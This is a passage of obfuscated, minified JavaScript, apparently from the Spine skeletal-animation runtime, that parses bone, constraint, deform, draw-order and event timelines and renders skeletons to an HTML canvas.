_0x2330b5, _0x285ed6, _0x175f0b, 0x0, _0x219d46, _0x12a555, _0x24e771['r'], _0x2c606c['r'], 0x1), _0x285ed6 = _0xdd2e9b(_0x173273, _0x2330b5, _0x285ed6, _0x175f0b, 0x1, _0x219d46, _0x12a555, _0x24e771['g'], _0x2c606c['g'], 0x1), _0x285ed6 = _0xdd2e9b(_0x173273, _0x2330b5, _0x285ed6, _0x175f0b, 0x2, _0x219d46, _0x12a555, _0x24e771['b'], _0x2c606c['b'], 0x1), _0x285ed6 = _0xdd2e9b(_0x173273, _0x2330b5, _0x285ed6, _0x175f0b, 0x3, _0x219d46, _0x12a555, _0x37fb6a['r'], _0x1eac33['r'], 0x1), _0x285ed6 = _0xdd2e9b(_0x173273, _0x2330b5, _0x285ed6, _0x175f0b, 0x4, _0x219d46, _0x12a555, _0x37fb6a['g'], _0x1eac33['g'], 0x1), _0x285ed6 = _0xdd2e9b(_0x173273, _0x2330b5, _0x285ed6, _0x175f0b, 0x5, _0x219d46, _0x12a555, _0x37fb6a['b'], _0x1eac33['b'], 0x1)), _0x219d46 = _0x12a555, _0x24e771 = _0x2c606c, _0x37fb6a = _0x1eac33, _0x7ba742 = _0x28e49b; } _0x15b68a['push'](_0x2330b5); } } } } } } } } if (_0x45bd00['bones']) for (let _0x161cc7 in _0x45bd00['bones']) { let _0x13de3f = _0x45bd00['bones'][_0x161cc7], _0x10181c = _0x87a618['findBone'](_0x161cc7); if (!_0x10181c) throw new Error('Bone\x20not\x20found:\x20' + _0x161cc7); let _0xd75dbc = _0x10181c['index']; for (let _0x59dd2e in _0x13de3f) { let _0xde1984 = _0x13de3f[_0x59dd2e], _0x5dfe57 = _0xde1984['length']; if (0x0 != _0x5dfe57) { if ('rotate' === _0x59dd2e) _0x15b68a['push'](_0x420d37(_0xde1984, new _0x1bb8f1(_0x5dfe57, _0x5dfe57, _0xd75dbc), 0x0, 0x1)); else { if ('translate' === _0x59dd2e) { let _0x1cceb4 = new _0x4b4ba8(_0x5dfe57, _0x5dfe57 << 0x1, _0xd75dbc); _0x15b68a['push'](_0x20af9f(_0xde1984, _0x1cceb4, 'x', 'y', 0x0, _0x50f61f)); } else { if ('translatex' === _0x59dd2e) { let _0x9b1be3 = new _0x4c774a(_0x5dfe57, _0x5dfe57, _0xd75dbc); _0x15b68a['push'](_0x420d37(_0xde1984, _0x9b1be3, 0x0, _0x50f61f)); } else { if ('translatey' === _0x59dd2e) { let _0x1b767d = new _0x1c66a3(_0x5dfe57, _0x5dfe57, _0xd75dbc); _0x15b68a['push'](_0x420d37(_0xde1984, _0x1b767d, 0x0, _0x50f61f)); } else { if ('scale' === _0x59dd2e) { let _0x83f78c = new _0x5c8fbd(_0x5dfe57, _0x5dfe57 << 0x1, _0xd75dbc); _0x15b68a['push'](_0x20af9f(_0xde1984, _0x83f78c, 'x', 'y', 0x1, 0x1)); } else { if ('scalex' === _0x59dd2e) { let _0x4bc045 = new _0x20a45a(_0x5dfe57, _0x5dfe57, _0xd75dbc); _0x15b68a['push'](_0x420d37(_0xde1984, _0x4bc045, 0x1, 0x1)); } else { if ('scaley' === _0x59dd2e) { let _0x3deb6f = new _0x692d7d(_0x5dfe57, _0x5dfe57, _0xd75dbc); _0x15b68a['push'](_0x420d37(_0xde1984, _0x3deb6f, 0x1, 0x1)); } else { if ('shear' === _0x59dd2e) { let _0x48cddf = new _0x497e46(_0x5dfe57, _0x5dfe57 << 0x1, _0xd75dbc); _0x15b68a['push'](_0x20af9f(_0xde1984, _0x48cddf, 'x', 'y', 0x0, 0x1)); } else { if ('shearx' === _0x59dd2e) { let _0x3468fe = new _0x7108a2(_0x5dfe57, _0x5dfe57, _0xd75dbc); _0x15b68a['push'](_0x420d37(_0xde1984, _0x3468fe, 0x0, 0x1)); } else { if ('sheary' === _0x59dd2e) { let _0x469eee = new _0x2f5da0(_0x5dfe57, _0x5dfe57, _0xd75dbc); _0x15b68a['push'](_0x420d37(_0xde1984, _0x469eee, 0x0, 0x1)); } } } } } } } } } } } } } if (_0x45bd00['ik']) for (let _0x11c7f7 in _0x45bd00['ik']) { let _0x171e77 = _0x45bd00['ik'][_0x11c7f7], _0x5aeed6 = _0x171e77[0x0]; if (!_0x5aeed6) continue; let _0x486aab = _0x87a618['findIkConstraint'](_0x11c7f7); if (!_0x486aab) throw new Error('IK\x20Constraint\x20not\x20found:\x20' + _0x11c7f7); let _0x8ece3c = _0x87a618['ikConstraints']['indexOf'](_0x486aab), _0x35a7f4 = new _0x3a8a6e(_0x171e77['length'], _0x171e77['length'] << 0x1, _0x8ece3c), _0x4e31d3 = _0x562eb9(_0x5aeed6, 'time', 0x0), _0xd7f92a = _0x562eb9(_0x5aeed6, 'mix', 0x1), _0x877b0e = _0x562eb9(_0x5aeed6, 'softness', 0x0) * _0x50f61f; for (let _0x213f22 = 0x0, _0x5a8b6b = 0x0; ; _0x213f22++) { _0x35a7f4['setFrame'](_0x213f22, _0x4e31d3, _0xd7f92a, _0x877b0e, _0x562eb9(_0x5aeed6, 'bendPositive', !0x0) ? 0x1 : -0x1, _0x562eb9(_0x5aeed6, 'compress', !0x1), _0x562eb9(_0x5aeed6, 'stretch', !0x1)); let _0x3a972c = _0x171e77[_0x213f22 + 0x1]; if (!_0x3a972c) { _0x35a7f4['shrink'](_0x5a8b6b); break; } let _0x81100b = _0x562eb9(_0x3a972c, 'time', 0x0), _0x18dc40 = _0x562eb9(_0x3a972c, 'mix', 0x1), _0x32943c = _0x562eb9(_0x3a972c, 'softness', 0x0) * _0x50f61f, _0x3cc117 = _0x5aeed6['curve']; _0x3cc117 && (_0x5a8b6b = _0xdd2e9b(_0x3cc117, _0x35a7f4, _0x5a8b6b, _0x213f22, 0x0, _0x4e31d3, _0x81100b, _0xd7f92a, _0x18dc40, 0x1), _0x5a8b6b = _0xdd2e9b(_0x3cc117, _0x35a7f4, _0x5a8b6b, _0x213f22, 0x1, _0x4e31d3, _0x81100b, _0x877b0e, _0x32943c, _0x50f61f)), _0x4e31d3 = _0x81100b, _0xd7f92a = _0x18dc40, _0x877b0e = _0x32943c, _0x5aeed6 = _0x3a972c; } _0x15b68a['push'](_0x35a7f4); } if (_0x45bd00['transform']) for (let _0x29cc65 in _0x45bd00['transform']) { let _0x5f1e0d = _0x45bd00['transform'][_0x29cc65], _0x9eb3a0 = _0x5f1e0d[0x0]; if (!_0x9eb3a0) continue; let _0x2fffce = _0x87a618['findTransformConstraint'](_0x29cc65); if (!_0x2fffce) throw new Error('Transform\x20constraint\x20not\x20found:\x20' + _0x29cc65); let _0x4d9e35 = _0x87a618['transformConstraints']['indexOf'](_0x2fffce), _0x3c854d = new _0x140dbb(_0x5f1e0d['length'], 0x6 * _0x5f1e0d['length'], _0x4d9e35), _0x5423da = _0x562eb9(_0x9eb3a0, 'time', 0x0), _0x118c28 = _0x562eb9(_0x9eb3a0, 'mixRotate', 0x1), _0x652568 = _0x562eb9(_0x9eb3a0, 'mixX', 0x1), _0x53682c = _0x562eb9(_0x9eb3a0, 'mixY', _0x652568), _0x35a019 = _0x562eb9(_0x9eb3a0, 'mixScaleX', 0x1), _0x139247 = _0x562eb9(_0x9eb3a0, 'mixScaleY', _0x35a019), _0x1d76ed = _0x562eb9(_0x9eb3a0, 'mixShearY', 0x1); for (let _0x18a459 = 0x0, _0x8355f9 = 0x0; ; _0x18a459++) { _0x3c854d['setFrame'](_0x18a459, _0x5423da, _0x118c28, _0x652568, _0x53682c, _0x35a019, _0x139247, _0x1d76ed); let _0x391baa = _0x5f1e0d[_0x18a459 + 0x1]; if (!_0x391baa) { _0x3c854d['shrink'](_0x8355f9); break; } let _0x1a0180 = _0x562eb9(_0x391baa, 'time', 0x0), _0x1f5097 = _0x562eb9(_0x391baa, 'mixRotate', 0x1), _0x5e3755 = _0x562eb9(_0x391baa, 'mixX', 0x1), _0x23a614 = _0x562eb9(_0x391baa, 'mixY', _0x5e3755), _0x231930 = _0x562eb9(_0x391baa, 'mixScaleX', 0x1), _0x392fde = _0x562eb9(_0x391baa, 'mixScaleY', _0x231930), _0x8a6b20 = _0x562eb9(_0x391baa, 'mixShearY', 0x1), _0x5d6266 = _0x9eb3a0['curve']; _0x5d6266 && (_0x8355f9 = _0xdd2e9b(_0x5d6266, _0x3c854d, _0x8355f9, _0x18a459, 0x0, _0x5423da, _0x1a0180, _0x118c28, _0x1f5097, 0x1), _0x8355f9 = _0xdd2e9b(_0x5d6266, _0x3c854d, _0x8355f9, _0x18a459, 0x1, _0x5423da, _0x1a0180, _0x652568, _0x5e3755, 0x1), _0x8355f9 = _0xdd2e9b(_0x5d6266, _0x3c854d, _0x8355f9, _0x18a459, 0x2, _0x5423da, _0x1a0180, _0x53682c, _0x23a614, 0x1), _0x8355f9 = _0xdd2e9b(_0x5d6266, _0x3c854d, _0x8355f9, _0x18a459, 0x3, _0x5423da, _0x1a0180, _0x35a019, _0x231930, 0x1), _0x8355f9 = _0xdd2e9b(_0x5d6266, _0x3c854d, _0x8355f9, _0x18a459, 0x4, _0x5423da, _0x1a0180, _0x139247, _0x392fde, 0x1), _0x8355f9 = _0xdd2e9b(_0x5d6266, _0x3c854d, _0x8355f9, _0x18a459, 0x5, _0x5423da, _0x1a0180, _0x1d76ed, _0x8a6b20, 0x1)), _0x5423da = _0x1a0180, _0x118c28 = _0x1f5097, _0x652568 = _0x5e3755, _0x53682c = _0x23a614, _0x35a019 = _0x231930, _0x139247 = _0x392fde, _0x35a019 = _0x231930, _0x9eb3a0 = _0x391baa; } _0x15b68a['push'](_0x3c854d); } if (_0x45bd00['path']) for (let _0x5b3614 in _0x45bd00['path']) { let _0xffdfca = _0x45bd00['path'][_0x5b3614], _0x4a398c = _0x87a618['findPathConstraint'](_0x5b3614); if (!_0x4a398c) throw new Error('Path\x20constraint\x20not\x20found:\x20' + _0x5b3614); let _0x1d04c2 = _0x87a618['pathConstraints']['indexOf'](_0x4a398c); for (let _0x2e67d5 in _0xffdfca) { let _0x339195 = _0xffdfca[_0x2e67d5], _0x436327 = _0x339195[0x0]; if (!_0x436327) continue; let _0x5afc15 = _0x339195['length']; if ('position' === _0x2e67d5) { let _0x566028 = new _0x1f2b10(_0x5afc15, _0x5afc15, _0x1d04c2); _0x15b68a['push'](_0x420d37(_0x339195, _0x566028, 0x0, 0x0 == _0x4a398c['positionMode'] ? _0x50f61f : 0x1)); } else { if ('spacing' === _0x2e67d5) { let _0x55ba8e = new _0x4efc27(_0x5afc15, _0x5afc15, _0x1d04c2); _0x15b68a['push'](_0x420d37(_0x339195, _0x55ba8e, 0x0, 0x0 == _0x4a398c['spacingMode'] || 0x1 == _0x4a398c['spacingMode'] ? _0x50f61f : 0x1)); } else { if ('mix' === _0x2e67d5) { let _0xa5ad1c = new _0x2fe414(_0x5afc15, 0x3 * _0x5afc15, _0x1d04c2), _0x5a8e78 = _0x562eb9(_0x436327, 'time', 0x0), _0x5aa067 = _0x562eb9(_0x436327, 'mixRotate', 0x1), _0x25a5ec = _0x562eb9(_0x436327, 'mixX', 0x1), _0x33d526 = _0x562eb9(_0x436327, 'mixY', _0x25a5ec); for (let _0x3b832a = 0x0, _0x2b5183 = 0x0; ; _0x3b832a++) { _0xa5ad1c['setFrame'](_0x3b832a, _0x5a8e78, _0x5aa067, _0x25a5ec, _0x33d526); let _0x9073ed = _0x339195[_0x3b832a + 0x1]; if (!_0x9073ed) { _0xa5ad1c['shrink'](_0x2b5183); break; } let _0x24fce9 = _0x562eb9(_0x9073ed, 'time', 0x0), _0x16b505 = _0x562eb9(_0x9073ed, 'mixRotate', 0x1), _0x2fe9e5 = _0x562eb9(_0x9073ed, 'mixX', 0x1), _0x4f1519 = _0x562eb9(_0x9073ed, 'mixY', _0x2fe9e5), _0x256336 = _0x436327['curve']; _0x256336 && (_0x2b5183 = _0xdd2e9b(_0x256336, _0xa5ad1c, _0x2b5183, _0x3b832a, 0x0, _0x5a8e78, _0x24fce9, _0x5aa067, _0x16b505, 0x1), _0x2b5183 = _0xdd2e9b(_0x256336, _0xa5ad1c, _0x2b5183, _0x3b832a, 0x1, _0x5a8e78, _0x24fce9, _0x25a5ec, _0x2fe9e5, 0x1), _0x2b5183 = _0xdd2e9b(_0x256336, _0xa5ad1c, _0x2b5183, _0x3b832a, 0x2, _0x5a8e78, _0x24fce9, _0x33d526, _0x4f1519, 0x1)), _0x5a8e78 = _0x24fce9, _0x5aa067 = _0x16b505, _0x25a5ec = _0x2fe9e5, _0x33d526 = _0x4f1519, _0x436327 = _0x9073ed; } _0x15b68a['push'](_0xa5ad1c); } } } } } if (_0x45bd00['attachments']) for (let _0x210ee0 in _0x45bd00['attachments']) { let _0x3bec0b = _0x45bd00['attachments'][_0x210ee0], _0x2c0543 = _0x87a618['findSkin'](_0x210ee0); if (!_0x2c0543) throw new Error('Skin\x20not\x20found:\x20' + _0x210ee0); for (let _0x45f99b in _0x3bec0b) { let _0x5af80 = _0x3bec0b[_0x45f99b], _0x52450b = _0x87a618['findSlot'](_0x45f99b); if (!_0x52450b) throw new Error('Slot\x20not\x20found:\x20' + _0x45f99b); let _0x355651 = _0x52450b['index']; for (let _0x40a64c in _0x5af80) { let _0x4bb374 = _0x5af80[_0x40a64c], _0x27a8bd = _0x2c0543['getAttachment'](_0x355651, _0x40a64c); for (let _0x447ff4 in _0x4bb374) { let _0xe5ea5e = _0x4bb374[_0x447ff4], _0x256c0e = _0xe5ea5e[0x0]; if (_0x256c0e) { if ('deform' == _0x447ff4) { let _0x118213 = _0x27a8bd['bones'], _0x49ed0e = _0x27a8bd['vertices'], _0x57d9e1 = _0x118213 ? _0x49ed0e['length'] / 0x3 * 0x2 : _0x49ed0e['length'], _0x3784a4 = new _0x342943(_0xe5ea5e['length'], _0xe5ea5e['length'], _0x355651, _0x27a8bd), _0x35a9c3 = _0x562eb9(_0x256c0e, 'time', 0x0); for (let _0x299b68 = 0x0, _0x23b1b1 = 0x0; ; _0x299b68++) { let _0x191a76, _0x3fee22 = _0x562eb9(_0x256c0e, 'vertices', null); if (_0x3fee22) { _0x191a76 = _0x380bba['newFloatArray'](_0x57d9e1); let _0x373572 = _0x562eb9(_0x256c0e, 'offset', 0x0); if (_0x380bba['arrayCopy'](_0x3fee22, 0x0, _0x191a76, _0x373572, _0x3fee22['length']), 0x1 != _0x50f61f) { for (let _0x33e886 = _0x373572, _0x555b97 = _0x33e886 + _0x3fee22['length']; _0x33e886 < _0x555b97; _0x33e886++)_0x191a76[_0x33e886] *= _0x50f61f; } if (!_0x118213) { for (let _0x1b2dc0 = 0x0; _0x1b2dc0 < _0x57d9e1; _0x1b2dc0++)_0x191a76[_0x1b2dc0] += _0x49ed0e[_0x1b2dc0]; } } else _0x191a76 = _0x118213 ? _0x380bba['newFloatArray'](_0x57d9e1) : _0x49ed0e; _0x3784a4['setFrame'](_0x299b68, _0x35a9c3, _0x191a76); let _0x539b5e = _0xe5ea5e[_0x299b68 + 0x1]; if (!_0x539b5e) { _0x3784a4['shrink'](_0x23b1b1); break; } let _0x11cd60 = _0x562eb9(_0x539b5e, 'time', 0x0), _0x72b31c = _0x256c0e['curve']; _0x72b31c && (_0x23b1b1 = _0xdd2e9b(_0x72b31c, _0x3784a4, _0x23b1b1, _0x299b68, 0x0, _0x35a9c3, _0x11cd60, 0x0, 0x1, 0x1)), _0x35a9c3 = _0x11cd60, _0x256c0e = _0x539b5e; } _0x15b68a['push'](_0x3784a4); } else { if ('sequence' == _0x447ff4) { let _0x485d79 = new _0x363add(_0xe5ea5e['length'], _0x355651, _0x27a8bd), _0x4bb899 = 0x0; for (let _0x1ed0b9 = 0x0; _0x1ed0b9 < _0xe5ea5e['length']; _0x1ed0b9++) { let _0x34fe28 = _0x562eb9(_0x256c0e, 'delay', _0x4bb899), _0x44f167 = _0x562eb9(_0x256c0e, 'time', 0x0), _0x143a04 = _0x28d323[_0x562eb9(_0x256c0e, 'mode', 'hold')], _0x4f571a = _0x562eb9(_0x256c0e, 'index', 0x0); _0x485d79['setFrame'](_0x1ed0b9, _0x44f167, _0x143a04, _0x4f571a, _0x34fe28), _0x4bb899 = _0x34fe28, _0x256c0e = _0xe5ea5e[_0x1ed0b9 + 0x1]; } _0x15b68a['push'](_0x485d79); } } } } } } } if (_0x45bd00['drawOrder']) { let _0xc3f55 = new _0x45823e(_0x45bd00['drawOrder']['length']), _0x148c05 = _0x87a618['slots']['length'], _0x23191e = 0x0; for (let _0x1320bd = 0x0; _0x1320bd < _0x45bd00['drawOrder']['length']; _0x1320bd++, _0x23191e++) { let _0x2d1fbf = _0x45bd00['drawOrder'][_0x1320bd], _0x42c647 = null, _0x4cf1f0 = _0x562eb9(_0x2d1fbf, 'offsets', null); if (_0x4cf1f0) { _0x42c647 = _0x380bba['newArray'](_0x148c05, -0x1); let _0x22a5bb = _0x380bba['newArray'](_0x148c05 - _0x4cf1f0['length'], 0x0), _0x3e360c = 0x0, _0x3745d4 = 0x0; for (let _0x3d6966 = 0x0; _0x3d6966 < _0x4cf1f0['length']; _0x3d6966++) { let _0x462850 = _0x4cf1f0[_0x3d6966], _0x69bfd9 = _0x87a618['findSlot'](_0x462850['slot']); if (!_0x69bfd9) throw new Error('Slot\x20not\x20found:\x20' + _0x69bfd9); let _0x3f6106 = _0x69bfd9['index']; for (; _0x3e360c != _0x3f6106;)_0x22a5bb[_0x3745d4++] = _0x3e360c++; _0x42c647[_0x3e360c + _0x462850['offset']] = _0x3e360c++; } for (; _0x3e360c < _0x148c05;)_0x22a5bb[_0x3745d4++] = _0x3e360c++; for (let _0x5a17f5 = _0x148c05 - 0x1; _0x5a17f5 >= 0x0; _0x5a17f5--)-0x1 == _0x42c647[_0x5a17f5] && (_0x42c647[_0x5a17f5] = _0x22a5bb[--_0x3745d4]); } _0xc3f55['setFrame'](_0x23191e, _0x562eb9(_0x2d1fbf, 'time', 0x0), _0x42c647); } _0x15b68a['push'](_0xc3f55); } if (_0x45bd00['events']) { let _0x2e9a94 = new _0x3c427f(_0x45bd00['events']['length']), _0x39b172 = 0x0; for (let _0x1a02db = 0x0; _0x1a02db < _0x45bd00['events']['length']; _0x1a02db++, _0x39b172++) { let _0x36b3d1 = _0x45bd00['events'][_0x1a02db], _0x401d8f = _0x87a618['findEvent'](_0x36b3d1['name']); if (!_0x401d8f) throw new Error('Event\x20not\x20found:\x20' + _0x36b3d1['name']); let _0x448b91 = new _0x1d1b63(_0x380bba['toSinglePrecision'](_0x562eb9(_0x36b3d1, 'time', 0x0)), _0x401d8f); _0x448b91['intValue'] = _0x562eb9(_0x36b3d1, 'int', _0x401d8f['intValue']), _0x448b91['floatValue'] = _0x562eb9(_0x36b3d1, 'float', _0x401d8f['floatValue']), _0x448b91['stringValue'] = _0x562eb9(_0x36b3d1, 'string', _0x401d8f['stringValue']), _0x448b91['data']['audioPath'] && (_0x448b91['volume'] = _0x562eb9(_0x36b3d1, 'volume', 0x1), _0x448b91['balance'] = _0x562eb9(_0x36b3d1, 'balance', 0x0)), _0x2e9a94['setFrame'](_0x39b172, _0x448b91); } _0x15b68a['push'](_0x2e9a94); } let _0x368a27 = 0x0; for (let _0x5e883c = 0x0, _0x484289 = _0x15b68a['length']; _0x5e883c < _0x484289; _0x5e883c++)_0x368a27 = Math['max'](_0x368a27, _0x15b68a[_0x5e883c]['getDuration']()); _0x87a618['animations']['push'](new _0x908e8c(_0x22cc83, _0x15b68a, _0x368a27)); } }, _0x4f8185 = class { constructor(_0x3d630d, _0x131f25, _0xeaa929, _0x227bd3, _0x4d72fd) { this['mesh'] = _0x3d630d, this['skin'] = _0x131f25, this['slotIndex'] = _0xeaa929, this['parent'] = _0x227bd3, this['inheritTimeline'] = _0x4d72fd; } }; function _0x420d37(_0x4dc839, _0x1e8d48, _0x314233, _0x334ad3) { let _0x55a146 = _0x4dc839[0x0], _0x59a258 = _0x562eb9(_0x55a146, 'time', 0x0), _0x1e101d = _0x562eb9(_0x55a146, 'value', _0x314233) * _0x334ad3, _0x5ba1c0 = 0x0; for (let _0x34896f = 0x0; ; _0x34896f++) { _0x1e8d48['setFrame'](_0x34896f, _0x59a258, _0x1e101d); let _0x4aad94 = _0x4dc839[_0x34896f + 0x1]; if (!_0x4aad94) return _0x1e8d48['shrink'](_0x5ba1c0), _0x1e8d48; let _0xd7998 = _0x562eb9(_0x4aad94, 'time', 0x0), _0x56115e = _0x562eb9(_0x4aad94, 'value', _0x314233) * _0x334ad3; _0x55a146['curve'] && (_0x5ba1c0 = _0xdd2e9b(_0x55a146['curve'], _0x1e8d48, _0x5ba1c0, _0x34896f, 0x0, _0x59a258, _0xd7998, _0x1e101d, _0x56115e, _0x334ad3)), _0x59a258 = _0xd7998, _0x1e101d = _0x56115e, _0x55a146 = _0x4aad94; } } function _0x20af9f(_0x40c396, _0x1022a1, _0x46eb20, _0x58335d, _0x586118, _0x20854a) { let _0x46fcc3 = _0x40c396[0x0], _0x2a00a6 = _0x562eb9(_0x46fcc3, 'time', 0x0), _0x18117e = _0x562eb9(_0x46fcc3, _0x46eb20, _0x586118) * _0x20854a, _0x316cd6 = _0x562eb9(_0x46fcc3, _0x58335d, _0x586118) * _0x20854a, _0x22a196 = 0x0; for (let _0x5155b3 = 0x0; ; _0x5155b3++) { _0x1022a1['setFrame'](_0x5155b3, _0x2a00a6, _0x18117e, _0x316cd6); let _0x395df6 = _0x40c396[_0x5155b3 + 0x1]; if (!_0x395df6) return _0x1022a1['shrink'](_0x22a196), _0x1022a1; let _0x262b6d = _0x562eb9(_0x395df6, 'time', 0x0), _0x26664a = _0x562eb9(_0x395df6, _0x46eb20, _0x586118) * _0x20854a, _0x4b8fd4 = _0x562eb9(_0x395df6, _0x58335d, _0x586118) * _0x20854a, _0xa33130 = _0x46fcc3['curve']; _0xa33130 && (_0x22a196 = _0xdd2e9b(_0xa33130, _0x1022a1, _0x22a196, _0x5155b3, 0x0, _0x2a00a6, _0x262b6d, _0x18117e, _0x26664a, _0x20854a), _0x22a196 = _0xdd2e9b(_0xa33130, _0x1022a1, _0x22a196, _0x5155b3, 0x1, _0x2a00a6, _0x262b6d, _0x316cd6, _0x4b8fd4, _0x20854a)), _0x2a00a6 = _0x262b6d, _0x18117e = _0x26664a, _0x316cd6 = _0x4b8fd4, _0x46fcc3 = _0x395df6; } } function _0xdd2e9b(_0x38e52e, _0x594df9, _0x4bd975, _0x65592b, _0x1eea14, _0x1d6b95, _0x161ba1, _0x56ac56, _0x52de03, _0x197042) { if ('stepped' == _0x38e52e) return _0x594df9['setStepped'](_0x65592b), _0x4bd975; let _0x108951 = _0x1eea14 << 0x2, _0x36cbbe = _0x38e52e[_0x108951], _0x15b0e0 = _0x38e52e[_0x108951 + 0x1] * _0x197042, _0x3b5f42 = _0x38e52e[_0x108951 + 0x2], _0x59efcd = _0x38e52e[_0x108951 + 0x3] * _0x197042; return _0x594df9['setBezier'](_0x4bd975, _0x65592b, _0x1eea14, _0x1d6b95, _0x56ac56, _0x36cbbe, _0x15b0e0, _0x3b5f42, _0x59efcd, _0x161ba1, _0x52de03), _0x4bd975 + 0x1; } function _0x562eb9(_0x2fc23c, _0x5e23aa, _0x6163f) { return void 0x0 !== _0x2fc23c[_0x5e23aa] ? _0x2fc23c[_0x5e23aa] : _0x6163f; } void 0x0 === Math['fround'] && (Math['fround'] = (_0x353fd3 = new Float32Array(0x1), function (_0x10cd36) { return _0x353fd3[0x0] = _0x10cd36, _0x353fd3[0x0]; })); var _0x370d41, _0x4d1b0d = class extends _0x4ec22f { constructor(_0x345386) { super(_0x345386); } ['setFilters'](_0x110b9e, _0x202c1e) { } ['setWraps'](_0x5c87b0, _0x3fe411) { } ['dispose']() { } }, _0x119383 = class extends _0x16f5e1 { constructor(_0x379947 = '', _0x2cff67 = new _0x143ce5()) { super(_0x3a7c25 => new _0x4d1b0d(_0x3a7c25), _0x379947, _0x2cff67); } }, _0x4ef2a8 = _0x380bba['newFloatArray'](0x8), _0x3554c3 = class { constructor(_0xc5f831) { this['triangleRendering'] = !0x1, this['debugRendering'] = !0x1, this['vertices'] = _0x380bba['newFloatArray'](0x2000), this['tempColor'] = new _0x2577a7(), this['ctx'] = _0xc5f831; } ['draw'](_0x3ef6e9) { this['triangleRendering'] ? this['drawTriangles'](_0x3ef6e9) : this['drawImages'](_0x3ef6e9); } ['drawImages'](_0x170e5c) { let _0xc8afbc = this['ctx'], _0x103d0b = this['tempColor'], _0x1762ee = _0x170e5c['color'], _0x4e6968 = _0x170e5c['drawOrder']; this['debugRendering'] && (_0xc8afbc['strokeStyle'] = 'green'); for (let _0x45225e = 0x0, _0x27ba49 = _0x4e6968['length']; _0x45225e < _0x27ba49; _0x45225e++) { let _0x35d0e4 = _0x4e6968[_0x45225e], _0x15d8a4 = _0x35d0e4['bone']; if (!_0x15d8a4['active']) continue; let _0x44ad8b = _0x35d0e4['getAttachment'](); if (!(_0x44ad8b instanceof _0x4c00b5)) continue; _0x44ad8b['computeWorldVertices'](_0x35d0e4, _0x4ef2a8, 0x0, 0x2); let _0x3bbd8a = _0x44ad8b['region'], _0x52b7c7 = _0x3bbd8a['page']['texture']['getImage'](), _0x44c3ee = _0x35d0e4['color'], _0xbba0d8 = _0x44ad8b['color']; _0x103d0b['set'](_0x1762ee['r'] * _0x44c3ee['r'] * _0xbba0d8['r'], _0x1762ee['g'] * _0x44c3ee['g'] * _0xbba0d8['g'], _0x1762ee['b'] * _0x44c3ee['b'] * _0xbba0d8['b'], _0x1762ee['a'] * _0x44c3ee['a'] * _0xbba0d8['a']), _0xc8afbc['save'](), _0xc8afbc['transform'](_0x15d8a4['a'], _0x15d8a4['c'], _0x15d8a4['b'], _0x15d8a4['d'], _0x15d8a4['worldX'], _0x15d8a4['worldY']), _0xc8afbc['translate'](_0x44ad8b['offset'][0x0], _0x44ad8b['offset'][0x1]), _0xc8afbc['rotate'](_0x44ad8b['rotation'] * Math['PI'] / 0xb4); let _0x3f4c83 = _0x44ad8b['width'] / _0x3bbd8a['originalWidth']; _0xc8afbc['scale'](_0x3f4c83 * _0x44ad8b['scaleX'], _0x3f4c83 * _0x44ad8b['scaleY']); let _0x1c5ddd = _0x3bbd8a['width'], _0x499c5a = _0x3bbd8a['height']; if (_0xc8afbc['translate'](_0x1c5ddd / 0x2, _0x499c5a / 0x2), 0x5a == _0x44ad8b['region']['degrees']) { let _0x1aad92 = _0x1c5ddd; _0x1c5ddd = _0x499c5a, _0x499c5a = _0x1aad92, _0xc8afbc['rotate'](-Math['PI'] / 0x2); } _0xc8afbc['scale'](0x1, -0x1), _0xc8afbc['translate'](-_0x1c5ddd / 0x2, -_0x499c5a / 0x2), _0xc8afbc['globalAlpha'] = _0x103d0b['a'], _0xc8afbc['drawImage'](_0x52b7c7, _0x3bbd8a['x'], _0x3bbd8a['y'], _0x1c5ddd, _0x499c5a, 0x0, 0x0, _0x1c5ddd, _0x499c5a), this['debugRendering'] && _0xc8afbc['strokeRect'](0x0, 0x0, _0x1c5ddd, _0x499c5a), _0xc8afbc['restore'](); } } ['drawTriangles'](_0x170feb) { let _0x36487e = this['ctx'], _0x2ff19a = this['tempColor'], _0x1633d5 = _0x170feb['color'], _0x318b2e = _0x170feb['drawOrder'], _0x4ecc42 = null, _0x584576 = this['vertices'], _0x20dbfd = null; for (let _0x11f652 = 0x0, _0x1d0356 = _0x318b2e['length']; _0x11f652 < _0x1d0356; _0x11f652++) { let _0x4343fb, _0x15201b, _0x396da8 = _0x318b2e[_0x11f652], _0x13453a = _0x396da8['getAttachment'](); if (_0x13453a instanceof _0x4c00b5) { let _0x18a190 = _0x13453a; _0x584576 = this['computeRegionVertices'](_0x396da8, _0x18a190, !0x1), _0x20dbfd = _0x3554c3['QUAD_TRIANGLES'], _0x15201b = _0x18a190['region'], _0x4343fb = _0x15201b['page']['texture']['getImage'](); } else { if (!(_0x13453a instanceof _0x144c75)) continue; { let _0x264c42 = _0x13453a; _0x584576 = this['computeMeshVertices'](_0x396da8, _0x264c42, !0x1), _0x20dbfd = _0x264c42['triangles'], _0x4343fb = _0x264c42['region']['renderObject']['page']['texture']['getImage'](); } } if (_0x4343fb) { _0x396da8['data']['blendMode'] != _0x4ecc42 && (_0x4ecc42 = _0x396da8['data']['blendMode']); let _0x1a70e8 = _0x396da8['color'], _0xf70495 = _0x13453a['color']; _0x2ff19a['set'](_0x1633d5['r'] * _0x1a70e8['r'] * _0xf70495['r'], _0x1633d5['g'] * _0x1a70e8['g'] * _0xf70495['g'], _0x1633d5['b'] * _0x1a70e8['b'] * _0xf70495['b'], _0x1633d5['a'] * _0x1a70e8['a'] * _0xf70495['a']), _0x36487e['globalAlpha'] = _0x2ff19a['a']; for (var _0x308cc1 = 0x0; _0x308cc1 < _0x20dbfd['length']; _0x308cc1 += 0x3) { let _0x19f07c = 0x8 * _0x20dbfd[_0x308cc1], _0x5c9ec4 = 0x8 * _0x20dbfd[_0x308cc1 + 0x1], _0x4750b6 = 0x8 * _0x20dbfd[_0x308cc1 + 0x2], _0xf88a2d = _0x584576[_0x19f07c], _0x3b5343 = _0x584576[_0x19f07c + 0x1], _0x4eecc2 = _0x584576[_0x19f07c + 0x6], _0x425164 = _0x584576[_0x19f07c + 0x7], _0x45e13c = _0x584576[_0x5c9ec4], _0xe4a207 = _0x584576[_0x5c9ec4 + 0x1], _0x4be4d2 = _0x584576[_0x5c9ec4 + 0x6], _0x24cebb = _0x584576[_0x5c9ec4 + 0x7], _0x1d6aad = _0x584576[_0x4750b6], _0x80c48 = _0x584576[_0x4750b6 + 0x1], _0x42b4cd = _0x584576[_0x4750b6 + 0x6], _0x5ae84c = _0x584576[_0x4750b6 + 0x7]; this['drawTriangle'](_0x4343fb, _0xf88a2d, _0x3b5343, _0x4eecc2, _0x425164, _0x45e13c, 